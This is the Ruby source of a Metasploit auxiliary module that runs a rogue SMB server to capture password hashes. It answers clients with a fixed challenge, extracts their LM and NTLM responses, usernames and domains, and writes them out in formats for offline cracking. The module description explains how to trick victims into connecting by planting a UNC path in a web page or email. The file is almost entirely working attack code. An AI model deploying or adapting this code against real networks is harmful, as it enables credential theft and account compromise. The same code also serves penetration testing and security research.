658 lines
22 KiB
Ruby
658 lines
22 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Exploit::Remote::SMBServer
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'Authentication Capture: SMB',
|
|
'Description' => %q{
|
|
This module provides a SMB service that can be used to
|
|
capture the challenge-response password hashes of SMB client
|
|
systems. Responses sent by this service have by default the
|
|
configurable challenge string (\x11\x22\x33\x44\x55\x66\x77\x88),
|
|
allowing for easy cracking using Cain & Abel, L0phtcrack
|
|
or John the ripper (with jumbo patch).
|
|
|
|
To exploit this, the target system must try to authenticate
|
|
to this module. The easiest way to force a SMB authentication attempt
|
|
is by embedding a UNC path (\\\\SERVER\\SHARE) into a web page or
|
|
email message. When the victim views the web page or email, their
|
|
system will automatically connect to the server specified in the UNC
|
|
share (the IP address of the system running this module) and attempt
|
|
to authenticate.
|
|
},
|
|
'Author' => 'hdm',
|
|
'License' => MSF_LICENSE,
|
|
'Actions' =>
|
|
[
|
|
[ 'Sniffer' ]
|
|
],
|
|
'PassiveActions' =>
|
|
[
|
|
'Sniffer'
|
|
],
|
|
'DefaultAction' => 'Sniffer'
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
#OptString.new('LOGFILE', [ false, "The local filename to store the captured hashes", nil ]),
|
|
OptString.new('CAINPWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]),
|
|
OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]),
|
|
OptString.new('CHALLENGE', [ true, "The 8 byte challenge ", "1122334455667788" ])
|
|
], self.class )
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptBool.new("SMB_EXTENDED_SECURITY", [ true, "Use smb extended security negotiation, when set client will use ntlmssp, if not then client will use classic lanman authentification", false ]),
|
|
OptBool.new("NTLM_UseNTLM2_session", [ true, "Activate the 'negotiate NTLM2 key' flag in NTLM authentication. " +
|
|
"When SMB extended security negotiate is set, client will use ntlm2_session instead of ntlmv1 (default on win 2K and above)", false ]),
|
|
OptBool.new("USE_GSS_NEGOTIATION", [ true, "Send a gss_security blob in smb_negotiate response when SMB extended security is set. " +
|
|
"When this flag is not set, Windows will respond without gss encapsulation, Ubuntu will still use gss.", true ]),
|
|
OptString.new('DOMAIN_NAME', [ true, "The domain name used during smb exchange with smb extended security set ", "anonymous" ])
|
|
], self.class)
|
|
|
|
end
|
|
|
|
def run
|
|
@s_smb_esn = datastore['SMB_EXTENDED_SECURITY']
|
|
@s_ntlm_esn = datastore['NTLM_UseNTLM2_session']
|
|
@s_gss_neg = datastore['USE_GSS_NEGOTIATION']
|
|
@domain_name = datastore['DOMAIN_NAME']
|
|
|
|
@s_GUID = [Rex::Text.rand_text_hex(32)].pack('H*')
|
|
if datastore['CHALLENGE'].to_s =~ /^([a-fA-F0-9]{16})$/
|
|
@challenge = [ datastore['CHALLENGE'] ].pack("H*")
|
|
else
|
|
print_error("CHALLENGE syntax must match 1122334455667788")
|
|
return
|
|
end
|
|
|
|
#those variables will prevent to spam the screen with identical hashes (works only with ntlmv1)
|
|
@previous_lm_hash="none"
|
|
@previous_ntlm_hash="none"
|
|
exploit()
|
|
end
|
|
|
|
def smb_cmd_dispatch(cmd, c, buff)
|
|
smb = @state[c]
|
|
pkt = CONST::SMB_BASE_PKT.make_struct
|
|
pkt.from_s(buff)
|
|
#Record the IDs
|
|
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
|
|
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
|
|
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
|
|
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
|
|
|
|
case cmd
|
|
when CONST::SMB_COM_NEGOTIATE
|
|
#client set extended security negotiation
|
|
if (pkt['Payload']['SMB'].v['Flags2'] & 0x800 != 0)
|
|
smb_cmd_negotiate(c, buff, true)
|
|
else
|
|
smb_cmd_negotiate(c, buff, false)
|
|
end
|
|
when CONST::SMB_COM_SESSION_SETUP_ANDX
|
|
|
|
wordcount = pkt['Payload']['SMB'].v['WordCount']
|
|
|
|
#CIFS SMB_COM_SESSION_SETUP_ANDX request without smb extended security
|
|
#This packet contains the lm/ntlm hashes
|
|
if wordcount == 0x0D
|
|
smb_cmd_session_setup(c, buff, false)
|
|
#CIFS SMB_COM_SESSION_SETUP_ANDX request with smb extended security
|
|
# can be of type NTLMSS_NEGOCIATE or NTLMSSP_AUTH,
|
|
elsif wordcount == 0x0C
|
|
smb_cmd_session_setup(c, buff, true)
|
|
else
|
|
print_status("SMB Capture - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... ")
|
|
smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS, @s_smb_esn)
|
|
end
|
|
|
|
|
|
when CONST::SMB_COM_TREE_CONNECT
|
|
print_status("SMB Capture - Denying tree connect from #{smb[:name]} - #{smb[:ip]}")
|
|
smb_error(cmd, c, SMB_SMB_STATUS_ACCESS_DENIED, @s_smb_esn)
|
|
|
|
else
|
|
print_status("SMB Capture - Ignoring request from #{smb[:name]} - #{smb[:ip]} (#{cmd})")
|
|
smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS, @s_smb_esn)
|
|
end
|
|
end
|
|
|
|
|
|
def smb_cmd_negotiate(c, buff, c_esn)
|
|
smb = @state[c]
|
|
pkt = CONST::SMB_NEG_PKT.make_struct
|
|
pkt.from_s(buff)
|
|
|
|
#Record the IDs
|
|
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
|
|
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
|
|
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
|
|
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
|
|
|
|
|
|
group = ''
|
|
machine = smb[:nbsrc]
|
|
|
|
dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/)
|
|
# print_status("Negotiation from #{smb[:name]}: #{dialects.join(", ")}")
|
|
|
|
dialect =
|
|
dialects.index("NT LM 0.12") ||
|
|
dialects.length-1
|
|
|
|
pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
|
|
smb_set_defaults(c, pkt)
|
|
|
|
time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i)
|
|
|
|
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
|
|
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
|
pkt['Payload']['SMB'].v['WordCount'] = 17
|
|
pkt['Payload'].v['Dialect'] = dialect
|
|
pkt['Payload'].v['SecurityMode'] = 3
|
|
pkt['Payload'].v['MaxMPX'] = 2
|
|
pkt['Payload'].v['MaxVCS'] = 1
|
|
pkt['Payload'].v['MaxBuff'] = 4356
|
|
pkt['Payload'].v['MaxRaw'] = 65536
|
|
pkt['Payload'].v['SystemTimeLow'] = time_lo
|
|
pkt['Payload'].v['SystemTimeHigh'] = time_hi
|
|
pkt['Payload'].v['ServerTimeZone'] = 0x0
|
|
pkt['Payload'].v['SessionKey'] = 0
|
|
|
|
if c_esn && @s_smb_esn then
|
|
pkt['Payload']['SMB'].v['Flags2'] = 0xc801
|
|
pkt['Payload'].v['Capabilities'] = 0x8000e3fd
|
|
pkt['Payload'].v['KeyLength'] = 0
|
|
pkt['Payload'].v['Payload'] = @s_GUID
|
|
|
|
if @s_gss_neg then
|
|
pkt['Payload'].v['Payload'] += NTLM_UTILS::make_simple_negotiate_secblob_resp
|
|
end
|
|
|
|
else
|
|
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
|
pkt['Payload'].v['Capabilities'] = 0xe3fd
|
|
pkt['Payload'].v['KeyLength'] = 8
|
|
pkt['Payload'].v['Payload'] = @challenge +
|
|
Rex::Text.to_unicode(group) + "\x00\x00" +
|
|
Rex::Text.to_unicode(machine) + "\x00\x00"
|
|
end
|
|
|
|
c.put(pkt.to_s)
|
|
end
|
|
|
|
def smb_cmd_session_setup(c, buff, esn)
|
|
smb = @state[c]
|
|
|
|
#extended security has been negotiated
|
|
if esn
|
|
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
|
|
pkt.from_s(buff)
|
|
|
|
#Record the IDs
|
|
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
|
|
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
|
|
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
|
|
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
|
|
securityblobLen = pkt['Payload'].v['SecurityBlobLen']
|
|
blob = pkt['Payload'].v['Payload'][0,securityblobLen]
|
|
|
|
#detect if GSS is being used
|
|
if blob[0,7] == 'NTLMSSP'
|
|
c_gss = false
|
|
else
|
|
c_gss = true
|
|
start = blob.index('NTLMSSP')
|
|
if start
|
|
blob.slice!(0,start)
|
|
else
|
|
print_status("SMB Capture - Error finding NTLM in SMB_COM_SESSION_SETUP_ANDX request from #{smb[:name]} - #{smb[:ip]}, ignoring ...")
|
|
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
|
|
return
|
|
end
|
|
|
|
|
|
end
|
|
ntlm_message = NTLM_MESSAGE::parse(blob)
|
|
|
|
case ntlm_message
|
|
when NTLM_MESSAGE::Type1
|
|
#Send Session Setup AndX Response NTLMSSP_CHALLENGE response packet
|
|
|
|
if (ntlm_message.flag & NTLM_CONST::NEGOTIATE_NTLM2_KEY != 0)
|
|
c_ntlm_esn = true
|
|
else
|
|
c_ntlm_esn = false
|
|
end
|
|
pkt = CONST::SMB_SETUP_NTLMV2_RES_PKT.make_struct
|
|
pkt.from_s(buff)
|
|
smb_set_defaults(c, pkt)
|
|
|
|
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
|
|
pkt['Payload']['SMB'].v['ErrorClass'] = CONST::SMB_STATUS_MORE_PROCESSING_REQUIRED
|
|
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
|
pkt['Payload']['SMB'].v['Flags2'] = 0xc807
|
|
pkt['Payload']['SMB'].v['WordCount'] = 4
|
|
pkt['Payload']['SMB'].v['UserID'] = 2050
|
|
pkt['Payload'].v['AndX'] = 0xFF
|
|
pkt['Payload'].v['Reserved1'] = 0x00
|
|
pkt['Payload'].v['AndXOffset'] = 283 #ignored by client
|
|
pkt['Payload'].v['Action'] = 0x0000
|
|
|
|
win_domain = Rex::Text.to_unicode(@domain_name.upcase)
|
|
win_name = Rex::Text.to_unicode(@domain_name.upcase)
|
|
dns_domain = Rex::Text.to_unicode(@domain_name.downcase)
|
|
dns_name = Rex::Text.to_unicode(@domain_name.downcase)
|
|
|
|
#create the ntlmssp_challenge security blob
|
|
if c_ntlm_esn && @s_ntlm_esn
|
|
sb_flag = 0xe28a8215 # ntlm2
|
|
else
|
|
sb_flag = 0xe2828215 #no ntlm2
|
|
end
|
|
if c_gss
|
|
securityblob = NTLM_UTILS::make_ntlmssp_secblob_chall( win_domain,
|
|
win_name,
|
|
dns_domain,
|
|
dns_name,
|
|
@challenge,
|
|
sb_flag)
|
|
else
|
|
securityblob = NTLM_UTILS::make_ntlmssp_blob_chall( win_domain,
|
|
win_name,
|
|
dns_domain,
|
|
dns_name,
|
|
@challenge,
|
|
sb_flag)
|
|
end
|
|
pkt['Payload'].v['SecurityBlobLen'] = securityblob.length
|
|
pkt['Payload'].v['Payload'] = securityblob
|
|
|
|
|
|
c.put(pkt.to_s)
|
|
|
|
when NTLM_MESSAGE::Type3
|
|
#we can process the hash and send a status_logon_failure response packet
|
|
|
|
# Record the remote multiplex ID
|
|
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
|
|
lm_len = ntlm_message.lm_response.length # Always 24
|
|
nt_len = ntlm_message.ntlm_response.length
|
|
|
|
if nt_len == 24 #lmv1/ntlmv1 or ntlm2_session
|
|
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
|
|
:lm_hash => ntlm_message.lm_response.unpack('H*')[0],
|
|
:nt_hash => ntlm_message.ntlm_response.unpack('H*')[0]
|
|
}
|
|
|
|
if @s_ntlm_esn && arg[:lm_hash][16,32] == '0' * 32
|
|
arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE
|
|
end
|
|
#if the length of the ntlm response is not 24 then it will be bigger and represent
|
|
# a ntlmv2 response
|
|
elsif nt_len > 24 #lmv2/ntlmv2
|
|
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
|
|
:lm_hash => ntlm_message.lm_response[0, 16].unpack('H*')[0],
|
|
:lm_cli_challenge => ntlm_message.lm_response[16, 8].unpack('H*')[0],
|
|
:nt_hash => ntlm_message.ntlm_response[0, 16].unpack('H*')[0],
|
|
:nt_cli_challenge => ntlm_message.ntlm_response[16, nt_len - 16].unpack('H*')[0]
|
|
}
|
|
elsif nt_len == 0
|
|
print_status("SMB Capture - Empty hash from #{smb[:name]} - #{smb[:ip]} captured, ignoring ... ")
|
|
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
|
|
return
|
|
else
|
|
print_status("SMB Capture - Unknown hash type from #{smb[:name]} - #{smb[:ip]}, ignoring ...")
|
|
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
|
|
return
|
|
end
|
|
|
|
buff = pkt['Payload'].v['Payload']
|
|
buff.slice!(0,securityblobLen)
|
|
names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
|
|
|
|
smb[:username] = ntlm_message.user
|
|
smb[:domain] = ntlm_message.domain
|
|
smb[:peer_os] = names[0]
|
|
smb[:peer_lm] = names[1]
|
|
|
|
begin
|
|
smb_get_hash(smb,arg,true)
|
|
rescue ::Exception => e
|
|
print_error("SMB Capture - Error processing Hash from #{smb[:name]} - #{smb[:ip]} : #{e.class} #{e} #{e.backtrace}")
|
|
end
|
|
|
|
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
|
|
|
|
else
|
|
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
|
|
end
|
|
|
|
#if not we can get the hash and send a status_access_denied response packet
|
|
else
|
|
|
|
pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
|
|
pkt.from_s(buff)
|
|
|
|
# Record the IDs
|
|
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
|
|
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
|
|
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
|
|
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
|
|
|
|
lm_len = pkt['Payload'].v['PasswordLenLM'] # Always 24
|
|
nt_len = pkt['Payload'].v['PasswordLenNT']
|
|
|
|
|
|
if nt_len == 24
|
|
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
|
|
:lm_hash => pkt['Payload'].v['Payload'][0, lm_len].unpack("H*")[0],
|
|
:nt_hash => pkt['Payload'].v['Payload'][lm_len, nt_len].unpack("H*")[0]
|
|
}
|
|
#if the length of the ntlm response is not 24 then it will be bigger and represent
|
|
# a ntlmv2 response
|
|
elsif nt_len > 24
|
|
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
|
|
:lm_hash => pkt['Payload'].v['Payload'][0, 16].unpack("H*")[0],
|
|
:lm_cli_challenge => pkt['Payload'].v['Payload'][16, 8].unpack("H*")[0],
|
|
:nt_hash => pkt['Payload'].v['Payload'][lm_len, 16].unpack("H*")[0],
|
|
:nt_cli_challenge => pkt['Payload'].v['Payload'][lm_len + 16, nt_len - 16].unpack("H*")[0]
|
|
}
|
|
elsif nt_len == 0
|
|
print_status("SMB Capture - Empty hash captured from #{smb[:name]} - #{smb[:ip]} captured, ignoring ... ")
|
|
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
|
|
return
|
|
else
|
|
print_status("SMB Capture - Unknown hash type capture from #{smb[:name]} - #{smb[:ip]}, ignoring ...")
|
|
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
|
|
return
|
|
end
|
|
|
|
buff = pkt['Payload'].v['Payload']
|
|
buff.slice!(0, lm_len + nt_len)
|
|
names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
|
|
|
|
smb[:username] = names[0]
|
|
smb[:domain] = names[1]
|
|
smb[:peer_os] = names[2]
|
|
smb[:peer_lm] = names[3]
|
|
|
|
begin
|
|
smb_get_hash(smb,arg,false)
|
|
|
|
rescue ::Exception => e
|
|
print_error("SMB Capture - Error processing Hash from #{smb[:name]} : #{e.class} #{e} #{e.backtrace}")
|
|
end
|
|
|
|
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
|
|
|
|
end
|
|
end
|
|
|
|
def smb_get_hash(smb, arg = {}, esn=true)
|
|
|
|
ntlm_ver = arg[:ntlm_ver]
|
|
if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE
|
|
lm_hash = arg[:lm_hash]
|
|
nt_hash = arg[:nt_hash]
|
|
else
|
|
lm_hash = arg[:lm_hash]
|
|
nt_hash = arg[:nt_hash]
|
|
lm_cli_challenge = arg[:lm_cli_challenge]
|
|
nt_cli_challenge = arg[:nt_cli_challenge]
|
|
end
|
|
|
|
# Clean up the data for logging
|
|
if (smb[:username] == "")
|
|
smb[:username] = nil
|
|
end
|
|
|
|
if (smb[:domain] == "")
|
|
smb[:domain] = nil
|
|
end
|
|
|
|
unless @previous_lm_hash == lm_hash and @previous_ntlm_hash == nt_hash then
|
|
|
|
@previous_lm_hash = lm_hash
|
|
@previous_ntlm_hash = nt_hash
|
|
|
|
# Check if we have default values (empty pwd, null hashes, ...) and adjust the on-screen messages correctly
|
|
case ntlm_ver
|
|
when NTLM_CONST::NTLM_V1_RESPONSE
|
|
if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge,
|
|
:ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'ntlm' })
|
|
print_status("SMB Capture - NLMv1 Hash correspond to an empty password, ignoring ... #{smb[:ip]}")
|
|
return
|
|
end
|
|
if (lm_hash == nt_hash or lm_hash == "" or lm_hash =~ /^0*$/ ) then
|
|
lm_hash_message = "Disabled"
|
|
elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge,
|
|
:ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'lm' })
|
|
lm_hash_message = "Disabled (from empty password)"
|
|
else
|
|
lm_hash_message = lm_hash
|
|
lm_chall_message = lm_cli_challenge
|
|
end
|
|
when NTLM_CONST::NTLM_V2_RESPONSE
|
|
if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge,
|
|
:cli_challenge => [nt_cli_challenge].pack("H*"),
|
|
:user => Rex::Text::to_ascii(smb[:username]),
|
|
:domain => Rex::Text::to_ascii(smb[:domain]),
|
|
:ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'ntlm' })
|
|
print_status("SMB Capture - NTLMv2 Hash correspond to an empty password, ignoring ... #{smb[:ip]}")
|
|
return
|
|
end
|
|
if lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16
|
|
lm_hash_message = "Disabled"
|
|
lm_chall_message = 'Disabled'
|
|
elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge,
|
|
:cli_challenge => [lm_cli_challenge].pack("H*"),
|
|
:user => Rex::Text::to_ascii(smb[:username]),
|
|
:domain => Rex::Text::to_ascii(smb[:domain]),
|
|
:ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'lm' })
|
|
lm_hash_message = "Disabled (from empty password)"
|
|
lm_chall_message = 'Disabled'
|
|
else
|
|
lm_hash_message = lm_hash
|
|
lm_chall_message = lm_cli_challenge
|
|
end
|
|
|
|
when NTLM_CONST::NTLM_2_SESSION_RESPONSE
|
|
if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge,
|
|
:cli_challenge => [lm_hash].pack("H*")[0,8],
|
|
:ntlm_ver => NTLM_CONST::NTLM_2_SESSION_RESPONSE, :type => 'ntlm' })
|
|
print_status("SMB Capture - NTLM2_session Hash correspond to an empty password, ignoring ... #{smb[:ip]}")
|
|
return
|
|
end
|
|
lm_hash_message = lm_hash
|
|
lm_chall_message = lm_cli_challenge
|
|
end
|
|
|
|
|
|
# Display messages
|
|
if esn
|
|
smb[:username] = Rex::Text::to_ascii(smb[:username])
|
|
smb[:domain] = Rex::Text::to_ascii(smb[:domain]) if smb[:domain]
|
|
end
|
|
|
|
capturedtime = Time.now.to_s
|
|
case ntlm_ver
|
|
when NTLM_CONST::NTLM_V1_RESPONSE
|
|
smb_db_type_hash = "smb_netv1_hash"
|
|
capturelogmessage =
|
|
"SMB Captured - #{capturedtime}\nNTLMv1 Response Captured from #{smb[:name]} - #{smb[:ip]} \n" +
|
|
"USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" +
|
|
"LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} \nNTHASH:#{nt_hash ? nt_hash : "<NULL>"}\n"
|
|
when NTLM_CONST::NTLM_V2_RESPONSE
|
|
smb_db_type_hash = "smb_netv2_hash"
|
|
capturelogmessage =
|
|
"SMB Captured - #{capturedtime}\nNTLMv2 Response Captured from #{smb[:name]} - #{smb[:ip]} \n" +
|
|
"USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" +
|
|
"LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} " +
|
|
"LM_CLIENT_CHALLENGE:#{lm_chall_message ? lm_chall_message : "<NULL>"}\n" +
|
|
"NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " +
|
|
"NT_CLIENT_CHALLENGE:#{nt_cli_challenge ? nt_cli_challenge : "<NULL>"}\n"
|
|
when NTLM_CONST::NTLM_2_SESSION_RESPONSE
|
|
#we can consider those as netv1 has they have the same size and i cracked the same way by cain/jtr
|
|
#also 'real' netv1 is almost never seen nowadays except with smbmount or msf server capture
|
|
smb_db_type_hash = "smb_netv1_hash"
|
|
capturelogmessage =
|
|
"SMB Captured - #{capturedtime}\nNTLM2_SESSION Response Captured from #{smb[:name]} - #{smb[:ip]} \n" +
|
|
"USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" +
|
|
"NTHASH:#{nt_hash ? nt_hash : "<NULL>"}\n" +
|
|
"NT_CLIENT_CHALLENGE:#{lm_hash_message ? lm_hash_message[0,16] : "<NULL>"} \n"
|
|
|
|
else # should not happen
|
|
return
|
|
end
|
|
|
|
print_status(capturelogmessage)
|
|
lm_text = (lm_hash + lm_cli_challenge.to_s).empty? ? "00" * 24 : lm_hash + lm_cli_challenge.to_s
|
|
nt_text = (nt_hash + nt_cli_challenge.to_s).empty? ? "00" * 24 : nt_hash + nt_cli_challenge.to_s
|
|
pass = "#{smb[:domain]}:#{lm_text}:#{nt_text}:#{datastore['CHALLENGE'].to_s}"
|
|
|
|
# DB reporting
|
|
report_auth_info(
|
|
:host => smb[:ip],
|
|
:port => datastore['SRVPORT'],
|
|
:sname => 'smb_challenge',
|
|
:user => smb[:username],
|
|
:pass => pass,
|
|
:type => smb_db_type_hash,
|
|
:proof => "NAME=#{smb[:nbsrc]} DOMAIN=#{smb[:domain]} OS=#{smb[:peer_os]}",
|
|
:source_type => "captured",
|
|
:active => true
|
|
)
|
|
|
|
report_note(
|
|
:host => smb[:ip],
|
|
:type => "smb_peer_os",
|
|
:data => smb[:peer_os]
|
|
) if (smb[:peer_os] and smb[:peer_os].strip.length > 0)
|
|
|
|
report_note(
|
|
:host => smb[:ip],
|
|
:type => "smb_peer_lm",
|
|
:data => smb[:peer_lm]
|
|
) if (smb[:peer_lm] and smb[:peer_lm].strip.length > 0)
|
|
|
|
report_note(
|
|
:host => smb[:ip],
|
|
:type => "smb_domain",
|
|
:data => smb[:domain]
|
|
) if (smb[:domain] and smb[:domain].strip.length > 0)
|
|
|
|
|
|
#if(datastore['LOGFILE'])
|
|
# File.open(datastore['LOGFILE'], "ab") {|fd| fd.puts(capturelogmessage + "\n")}
|
|
#end
|
|
|
|
if(datastore['CAINPWFILE'] and smb[:username])
|
|
if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE
|
|
fd = File.open(datastore['CAINPWFILE'], "ab")
|
|
fd.puts(
|
|
[
|
|
smb[:username],
|
|
smb[:domain] ? smb[:domain] : "NULL",
|
|
@challenge.unpack("H*")[0],
|
|
lm_hash.empty? ? "0" * 48 : lm_hash,
|
|
nt_hash.empty? ? "0" * 48 : nt_hash
|
|
].join(":").gsub(/\n/, "\\n")
|
|
)
|
|
fd.close
|
|
end
|
|
end
|
|
|
|
if(datastore['JOHNPWFILE'] and smb[:username])
|
|
case ntlm_ver
|
|
when NTLM_CONST::NTLM_V1_RESPONSE,NTLM_CONST::NTLM_2_SESSION_RESPONSE
|
|
|
|
fd = File.open(datastore['JOHNPWFILE'] + '_netntlm', "ab")
|
|
fd.puts(
|
|
[
|
|
smb[:username],"",
|
|
smb[:domain] ? smb[:domain] : "NULL",
|
|
lm_hash.empty? ? "0" * 48 : lm_hash,
|
|
nt_hash.empty? ? "0" * 48 : nt_hash,
|
|
@challenge.unpack("H*")[0]
|
|
].join(":").gsub(/\n/, "\\n")
|
|
)
|
|
fd.close
|
|
when NTLM_CONST::NTLM_V2_RESPONSE
|
|
#lmv2
|
|
fd = File.open(datastore['JOHNPWFILE'] + '_netlmv2', "ab")
|
|
fd.puts(
|
|
[
|
|
smb[:username],"",
|
|
smb[:domain] ? smb[:domain] : "NULL",
|
|
@challenge.unpack("H*")[0],
|
|
lm_hash.empty? ? "0" * 32 : lm_hash,
|
|
lm_cli_challenge.empty? ? "0" * 16 : lm_cli_challenge
|
|
].join(":").gsub(/\n/, "\\n")
|
|
)
|
|
fd.close
|
|
#ntlmv2
|
|
fd = File.open(datastore['JOHNPWFILE'] + '_netntlmv2' , "ab")
|
|
fd.puts(
|
|
[
|
|
smb[:username],"",
|
|
smb[:domain] ? smb[:domain] : "NULL",
|
|
@challenge.unpack("H*")[0],
|
|
nt_hash.empty? ? "0" * 32 : nt_hash,
|
|
nt_cli_challenge.empty? ? "0" * 160 : nt_cli_challenge
|
|
].join(":").gsub(/\n/, "\\n")
|
|
)
|
|
fd.close
|
|
end
|
|
|
|
end
|
|
end
|
|
end
|
|
|
|
def smb_cmd_close(c, buff)
|
|
end
|
|
|
|
def smb_cmd_create(c, buff)
|
|
end
|
|
|
|
def smb_cmd_delete(c, buff)
|
|
end
|
|
|
|
def smb_cmd_nttrans(c, buff)
|
|
end
|
|
|
|
def smb_cmd_open(c, buff)
|
|
end
|
|
|
|
def smb_cmd_read(c, buff)
|
|
end
|
|
|
|
def smb_cmd_trans(c, buff)
|
|
end
|
|
|
|
def smb_cmd_tree_connect(c, buff)
|
|
end
|
|
|
|
def smb_cmd_tree_disconnect(c, buff)
|
|
end
|
|
|
|
def smb_cmd_write(c, buff)
|
|
end
|
|
|
|
end
|